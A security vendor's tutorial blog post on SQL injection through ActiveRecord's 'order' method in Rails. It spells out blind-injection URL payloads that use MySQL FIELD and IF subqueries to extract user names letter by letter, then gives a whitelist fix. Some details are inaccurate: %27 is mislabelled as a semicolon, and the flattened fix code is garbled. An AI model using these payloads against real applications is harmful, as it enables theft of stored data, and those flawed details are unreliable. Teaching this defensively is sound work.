In this post we’re gonna look at some places where it is possible to inject arbitrary SQL commands into active record queries in Ruby on Rails. ActiveRecord has pretty good protection against SQL injection, so much so that sometimes I think it lulls us into a false sense of security.
We’re pretty well protected by default for ‘where’ queries. Consider the following code:
@posts = Post.where(:title => params[:title])
This code will take the value of the URL parameter ‘title’ and insert it into a query. So if we make a request like:
GET /posts?title=whatever
We’ll get the following SQL:
SELECT `posts`.* FROM `posts` WHERE `posts`.`title` = 'whatever'
So we know that we can insert text into the SQL query, let’s try a standard SQL injection attack vector:
GET /posts?title=whatever'%20OR1=1
SQL:
SELECT `posts`.* FROM `posts` WHERE `posts`.`title` = 'whatever' OR 1=1'
Rails automatically escapes the single quotes, preventing us from breaking out of context here. What about integral columns? Let’s say we have the following code:
@posts = Post.where(:score => params[:score])
So we make a request like so
GET /posts?score=5
and we get the following SQL:
SELECT `posts`.* FROM `posts` WHERE `posts`.`score` = 5
Now there’s no longer any single quotation marks around our URL parameter when it gets incorporated into our query. This should make things easier right?
GET /posts?score=5%20OR1=1
SQL:
SELECT `posts`.* FROM `posts` WHERE `posts`.`score` = 5
Nope. Only the numeric part of the parameter is included in the query. Anything following the numeric part is discarded.
So incorporating URL parameters into ‘where’ arguments is safe, as long as we use the hash form. (I’m assuming that most developers know better than to use string interpolation using untrusted data!). But other ActiveRecord query methods are not so safe.
Consider the following code
@posts = Post.order(params[:order_column])
This seems pretty innocuous. It provides us with an easy way of specifying the ordering of Post records, without having to write any complex logic. So we might make a request like so:
GET /posts?order_column=title
and get the following query:
SELECT `posts`.* FROM `posts` ORDER BY title
Hmmm, this looks interesting. There are no quotes around ‘title’. What about:
GET /posts?order_column=%27%3B--
This is just
;'--
URL encoded.
SQL:
SELECT `posts`.* FROM `posts` ORDER BY ;'--
This causes a database error, but it shows that the query incorporates the order_column URL parameter verbatim. So what can we do with this? SQL does not allow conditions to be set after the ORDER BY clause so that limits our avenues of attack. Let’s try adding our own data to the posts table. We can use a semicolon (%27) to delimit successive queries, so after the SELECT we can add an INSERT:
GET /posts?order_column=title%27%20INSERT%20INTO%posts(content)%20VALUES%20('%3Cscript%3Ealert(1234)%3C%2Fscript%3E')
This generates the following SQL:
SELECT `posts`.* FROM `posts` ORDER BY title; INSERT INTO posts(content) VALUES ('<script>alert(1234)</script>')
This looks right, but (un)fortunately, we get a DB error. ActiveRecord queries are constrained to only allow one SELECT. Adding a further query or update will cause an error. This means that it’s not possible (as far as I am aware) of inserting arbitrary data into the database using this method. However we can get data out of the database using Blind SQL Injection.
Blind SQL injection refers to SQL injection techniques when the result of the injected query is not directly measurable. In this case, we can’t force the application to show us Post records that it would not otherwise display. What we need is a way of altering the query, so that under some conditions the returned Post records are different.
One solution I’ve played around with is using the ORDER BY FIELD syntax in MySQL. This requires that we know the numeric id of the first post returned. This is usually pretty easy to find out when the application follow REST principles.
Let’s say the Post index method gives us the following records:
GET /posts.json
I’m using JSON to display the results here, but the technique should also apply to the HTML format, assuming you can get the numeric ids from the markup or otherwise. We can see that the results are ordered by the id column. Let’s try the ORDER BY FIELD technique:
GET /posts.json?order_column=FIELD(id, 1)
This seems counter intuitive at first, we’ve ordered by the id column in the list , and it’s put the Post with id 2 first. This is because FIELD is a function that returns the position of the value given in the first argument, in the list given as the remaining arguments. It is indexed from 1, and for any value that does not appear in the list, it returns 0. This means the record with id 2 will come first, since the value of FIELD in that case is 0.
If we try the following request:
GET /posts.json?order_column=FIELD(id, 0)
We will get the original ordering back.
Now we need to add a conditional to the request. In MySQL (probably others also) we can use IF as follows
GET /posts.json?order_column=FIELD(id, IF(true, 0, 1)) GET /posts.json?order_column=FIELD(id, IF(false, 0, 1))
These two requests should return different orderings of posts.
To actually retrieve some data, we need to use subqueries. We’re gonna cheat a little bit here and assume we know that there is a users table with a name column. We’re gonna try and get the name of the first user in the database. We can only ask true or false questions, so this takes a little bit of time. The procedure we’ll use is to check whether the column value is lexicographically less than some value (i.e. would come before it in alphabetical ordering), and use bisection to reduce the number of checks.
GET /posts.json?order_column=FIELD(id, IF((SELECT name FROM users LIMIT 1) < 'm', 0, 1)) #T GET /posts.json?order_column=FIELD(id, IF((SELECT name FROM users LIMIT 1) < 'g', 0, 1)) #T GET /posts.json?order_column=FIELD(id, IF((SELECT name FROM users LIMIT 1) < 'd', 0, 1)) #T GET /posts.json?order_column=FIELD(id, IF((SELECT name FROM users LIMIT 1) < 'b', 0, 1)) #T GET /posts.json?order_column=FIELD(id, IF((SELECT name FROM users LIMIT 1) < 'a', 0, 1)) #F # first character is 'a' GET /posts.json?order_column=FIELD(id, IF((SELECT name FROM users LIMIT 1) < 'am', 0, 1)) #T GET /posts.json?order_column=FIELD(id, IF((SELECT name FROM users LIMIT 1) < 'ag', 0, 1)) #T GET /posts.json?order_column=FIELD(id, IF((SELECT name FROM users LIMIT 1) < 'ad', 0, 1)) #T GET /posts.json?order_column=FIELD(id, IF((SELECT name FROM users LIMIT 1) < 'ae', 0, 1)) #F # second character is 'd' .... a few more requests GET /posts.json?order_column=FIELD(id, IF((SELECT name FROM users LIMIT 1) = 'admin', 0, 1)) #T
You can see in the last request, I changed the less than sign to basic equality as a sort of sanity check. So the first name in the users table is admin, to get further users, we can use OFFSET and get the rest of them.
In conclusion, the SQL injection protection in Rails is not a magic bullet, you still need to think about how attacker controlled data might be incorporated into SQL queries. The solution for the above issue would be to whitelist the possible orderings. This can be achieved using something like the following code
order_column = 'title' if Post.column_names.include?(params[:order_column]) order_column = params[:order_column] end @posts = Post.order(order_column)
Check out how common SQL Injection is in the real world, and get insight into other vulnerabilities detected by edgescan on a daily basis here: 2014 edgescan vulnerability report.
Stopping SQL Injections with DAST
SQL injections are a persistent threat, and we’re here to help. At Edgescan, our Dynamic Application Security Testing (DAST) Service actively identifies and mitigates SQL injection vulnerabilities to protect your applications. With teams in Dublin and New York, we ensure your systems are safe from exploitation.
